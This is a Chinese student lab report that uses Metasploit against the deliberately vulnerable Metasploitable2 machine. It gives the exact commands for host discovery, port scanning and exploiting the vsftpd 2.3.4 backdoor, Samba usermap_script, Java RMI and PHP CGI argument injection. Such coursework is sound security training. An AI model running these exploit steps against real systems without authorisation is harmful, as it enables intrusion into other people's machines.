1.实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
2.实验过程
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
msfconsole启动控制台
search arp_sweep搜索模块
打开靶机查看ip地址
use 0选择模块,set rhosts 192.168.1.112设置参数,run开始攻击,查找到靶机
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
使用Aux中的portscan/tcp,search portscan/tcp,use 0选择模块,set rhosts 192.168.1.112,set ports 1-65535设置参数
run开始攻击
③扫系统版本、漏洞等
search auxiliary/scanner/smb/smb_version、use 0、set RHOSTS 192.168.1.112、run
(2)Vsftpd源码包后门漏洞(21端口)
use exploit/unix/ftp/vsftpd_234_backdoor 选择模块set RHOST 192.168.1.112设置参数
run开始攻击输入uname -a,pwd,id,ifconfig验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
use exploit/multi/samba/usermap_script 选择模块set RHOST 192.168.1.112设置参数,run开始攻击,使用uname -a,pwd,ifconfig
(4)Java RMI SERVER命令执行漏洞(1099端口)
use exploit/multi/misc/java_rmi_server选择模块set RHOST 192.168.1.112设置参数run开始攻击sessions -i 3进入任务,shell进入shell,whoami进行验证
(5)PHP CGI参数执行注入漏洞(80端口)
use exploit/multi/http/php_cgi_arg_injection,set RHOST ip 192.168.1.112,run开始攻击
3.问题及解决方案
- 问题1:在最开始扫描的时候扫描不出靶机,ping靶机发现ping不通
- 问题1解决方案:将靶机的网络适配器改为桥接
4.学习感悟、思考等
Metasploit 作为一款功能强大的渗透测试框架,其涵盖的众多模块和工具在本次实验中得以充分展现。通过实际操作,我对其漏洞扫描、漏洞利用、后渗透等核心功能有了更直观的感受。例如,在利用特定漏洞获取目标系统权限的过程中,我学会了如何精准地选择合适的漏洞利用模块,并根据目标系统的环境进行参数配置,以确保攻击的有效性。这不仅需要对 Metasploit 框架本身的熟悉,更需要对各种操作系统、网络服务以及常见漏洞类型有深入的理解。